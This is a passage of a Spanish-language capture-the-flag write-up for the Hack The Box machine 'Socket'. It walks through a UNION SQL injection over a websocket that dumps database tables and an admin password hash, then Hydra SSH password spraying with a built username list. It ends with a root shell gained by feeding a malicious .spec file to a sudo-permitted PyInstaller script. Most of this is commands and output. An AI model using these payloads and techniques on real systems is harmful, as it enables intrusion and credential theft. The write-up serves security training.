π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT sql FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="sqlite_sequence"),2,3,4--' | jq
{
"message": {
"id": "CREATE TABLE sqlite_sequence(name,seq)",
"version": 2,
"released_date": 3,
"downloads": 4
}
}
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT sql FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="versions"),2,3,4--' | jq
{
"message": {
"id": "CREATE TABLE versions (id INTEGER PRIMARY KEY AUTOINCREMENT, version TEXT, released_date DATE, downloads INTEGER)",
"version": 2,
"released_date": 3,
"downloads": 4
}
}
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT sql FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="users"),2,3,4--' | jq
{
"message": {
"id": "CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password DATE, role TEXT)",
"version": 2,
"released_date": 3,
"downloads": 4
}
}
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT sql FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="info"),2,3,4--' | jq
{
"message": {
"id": "CREATE TABLE info (id INTEGER PRIMARY KEY AUTOINCREMENT, key TEXT, value TEXT)",
"version": 2,
"released_date": 3,
"downloads": 4
}
}
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT sql FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="reports"),2,3,4--' | jq
{
"message": {
"id": "CREATE TABLE reports (id INTEGER PRIMARY KEY AUTOINCREMENT, reporter_name TEXT, subject TEXT, description TEXT, reported_date DATE)",
"version": 2,
"released_date": 3,
"downloads": 4
}
}
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT sql FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="answers"),2,3,4--' | jq
{
"message": {
"id": "CREATE TABLE answers (id INTEGER PRIMARY KEY AUTOINCREMENT, answered_by TEXT, answer TEXT , answered_date DATE, status TEXT,FOREIGN KEY(id) REFERENCES reports(report_id))",
"version": 2,
"released_date": 3,
"downloads": 4
}
}
π ~/htb/socket ❯
|
Dump Data
Obtuvimos la informacion de cada tabla, en la tabla users observamos un hash del usuario admin. En el caso de las otras tablas encontramos distintos nombres de usuarios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
# dump data - users
SELECT group_concat(username || "," || password) from users
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT group_concat(username || "," || password) from users),2,3,4--' | jq
{
"message": {
"id": "admin,0c090c365fa0559b151a43e0fea39710",
"version": 2,
"released_date": 3,
"downloads": 4
}
}
π ~/htb/socket ❯
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT group_concat(key || "," || value) from info),2,3,4--' | jq
{
"message": {
"id": "downloads,1000,convertions,2289",
"version": 2,
"released_date": 3,
"downloads": 4
}
}
π ~/htb/socket ❯
SELECT group_concat(reporter_name || "," || subject || "," || description) from reports
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT group_concat(reporter_name || "," || subject || "," || description) from reports),2,3,4--' | jq
{
"message": {
"id": "Jason,Accept JPEG files,Is there a way to convert JPEG images with this tool? Or should I convert my JPEG to PNG and then use it?,Mike,Converting non-ascii text,When I try to embed non-ascii text, it always gives me an error. It would be nice if you could take a look at this.",
"version": 2,
"released_date": 3,
"downloads": 4
}
}
π ~/htb/socket ❯
SELECT group_concat(answered_by || "," || answer ) from answers
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT group_concat(answered_by || "," || answer ) from answers),2,3,4--' | jq
{
"message": {
"id": "admin,Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller,admin,Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller",
"version": 2,
"released_date": 3,
"downloads": 4
}
}
π ~/htb/socket ❯
|
Creamos un wordlist con los nombres de usuarios.
1
2
3
4
5
6
7
8
9
10
11
|
admin
Json
json
thomas
Thomas
keller
Keller
thomas keller
Thomas Keller
mike
Mike
|
El valor del hash de admin es denjanjade122566
.
Hydra - SSH
Ejecutamos hydra con el wordlist y la contrasena pero no encontramos un par aceptado.
1
2
3
4
5
6
7
8
9
10
|
π ~/htb/socket ❯ hydra -L wordlist.txt -p denjanjade122566 ssh://qreader.htb
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-05 21:39:19
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:8/p:1), ~1 try per task
[DATA] attacking ssh://qreader.htb:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-05 21:39:23
π ~/htb/socket ❯
|
Utilizamos usernames.py sobre el wordlist para generar nueva combinacion de usuarios. Luego de ello ejecutamos nuevamente Hydra donde encontramos un par aceptado.
1
2
3
4
5
6
7
8
9
10
11
12
|
π ~/htb/socket ❯ python usernames.py wordlist.txt > users.txt
π ~/htb/socket ❯ hydra -L users.txt -p denjanjade122566 ssh://qreader.htb
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-05 21:42:21
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 110 login tries (l:110/p:1), ~7 tries per task
[DATA] attacking ssh://qreader.htb:22/
[22][ssh] host: qreader.htb login: tkeller password: denjanjade122566
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-05 21:42:52
π ~/htb/socket ❯
|
Shell
Ingresamos por SSH con las credenciales validas logrando obtener nuestra flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
π ~/htb/socket ❯ ssh tkeller@qreader.htb # denjanjade122566
tkeller@qreader.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-67-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat May 6 01:43:44 AM UTC 2023
System load: 0.0595703125
Usage of /: 66.6% of 8.51GB
Memory usage: 18%
Swap usage: 0%
Processes: 225
Users logged in: 0
IPv4 address for eth0: 10.10.11.206
IPv6 address for eth0: dead:beef::250:56ff:feb9:2cf
* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
tkeller@socket:~$ whoami;id;pwd
tkeller
uid=1001(tkeller) gid=1001(tkeller) groups=1001(tkeller),1002(shared)
/home/tkeller
tkeller@socket:~$ ls
user.txt
tkeller@socket:~$ cat user.txt
ff379ba41cb93b42929713dbda0bfd88
tkeller@socket:~$
|
Privesc
Tras ejecutar sudo -l -l
observamos que es posible ejecutar como root el script build-installer.sh.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
tkeller@socket:~$ sudo -l -l
Matching Defaults entries for tkeller on socket:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tkeller may run the following commands on socket:
Sudoers entry:
RunAsUsers: ALL
RunAsGroups: ALL
Options: !authenticate
Commands:
/usr/local/sbin/build-installer.sh
tkeller@socket:~$
|
El script acepta varias opciones como argumento: build, make y cleanup.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
/usr/bin/echo "No enough arguments supplied"
exit 1;
fi
action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')
if [[ -L $name ]];then
/usr/bin/echo 'Symlinks are not allowed'
exit 1;
fi
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'make' ]]; then
if [[ $ext == 'py' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'cleanup' ]]; then
/usr/bin/rm -r ./build ./dist 2>/dev/null
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/usr/bin/rm /tmp/qreader* 2>/dev/null
else
/usr/bin/echo 'Invalid action'
exit 1;
fi
|
Utiliza PyInstaller, vemos en la opcion build que simplemente ejecuta el archivo que pasemos, en este caso si el archivo tiene extension .spec.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
[...]
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif
[...]
|
Escribimos un archivo para ejecutar bash como root.
1
2
3
4
5
|
tkeller@socket:~$ cat file.spec
#!/usr/bin/env python
import os
os.system("/bin/sh")
tkeller@socket:~$
|
Tras ejecutar el script logramos obtener una shell como root y la flag root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
tkeller@socket:~$ sudo /usr/local/sbin/build-installer.sh build file.spec
445 INFO: PyInstaller: 5.6.2
445 INFO: Python: 3.10.6
450 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
453 INFO: UPX is not available.
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
cleanup root.txt snap
# cat root.txt
6aba867a99d45960e501cfae9ec42479
#
|